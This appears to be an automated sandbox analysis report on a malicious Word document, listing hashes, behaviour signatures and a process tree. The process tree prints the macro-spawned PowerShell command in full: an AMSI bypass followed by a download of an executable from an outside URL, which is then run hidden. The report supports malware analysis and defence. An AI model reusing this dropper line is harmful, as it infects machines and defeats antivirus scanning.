Analysis

  • max time kernel
    136s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 21:18

General

  • Target

    7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc

  • Size

    653KB

  • MD5

    7347b8b482d4185b9e80b7013ced1019

  • SHA1

    2a74cb315082a3729d80ebde02757b7e7ed5ab3f

  • SHA256

    f0477ac3d6076130fdb7feb394b84994421484e70674a303b063168d4fd59d10

  • SHA512

    09080b8756e6d3b8d121461e9a1b7d2347df09dab20fd8913aef76da39d457a8613edab7ae30c942d04455dc78eacbad6d0e2b838c748d192088817d9ef0d17d

  • SSDEEP

    12288:nuvKkfP+nEhsv5BcQsNeKvix7unLpdlo5CXmobj5Nnz7X:n+KkHq5BchNe0k7uLpb8Qmobj5lz

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://ptpjm.co.id/updd/ppg.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7347b8b482d4185b9e80b7013ced1019_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\uyxu.exe') {Remove-Item $env:APPDATA + '\uyxu.exe'}; $RGCUN = New-Object System.Net.WebClient; $RGCUN.Headers['User-Agent'] = 'RGCUN'; $RGCUN.DownloadFile('http://ptpjm.co.id/updd/ppg.exe', $env:APPDATA + '\uyxu.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\uyxu.exe'); Stop-Process -Id $Pid -Force
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:544

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_paywttrm.2js.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • memory/544-81-0x00000155CFE90000-0x00000155CFEB2000-memory.dmp

    Filesize

    136KB

  • memory/2056-17-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-7-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-16-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-6-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-15-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-8-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-9-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-10-0x00007FFC848A0000-0x00007FFC848B0000-memory.dmp

    Filesize

    64KB

  • memory/2056-12-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-11-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-13-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-62-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-18-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-0-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-5-0x00007FFCC6CED000-0x00007FFCC6CEE000-memory.dmp

    Filesize

    4KB

  • memory/2056-1-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-14-0x00007FFC848A0000-0x00007FFC848B0000-memory.dmp

    Filesize

    64KB

  • memory/2056-71-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-70-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-3-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-4-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-87-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-88-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB

  • memory/2056-2-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-583-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-586-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-585-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-584-0x00007FFC86CD0000-0x00007FFC86CE0000-memory.dmp

    Filesize

    64KB

  • memory/2056-587-0x00007FFCC6C50000-0x00007FFCC6E45000-memory.dmp

    Filesize

    2.0MB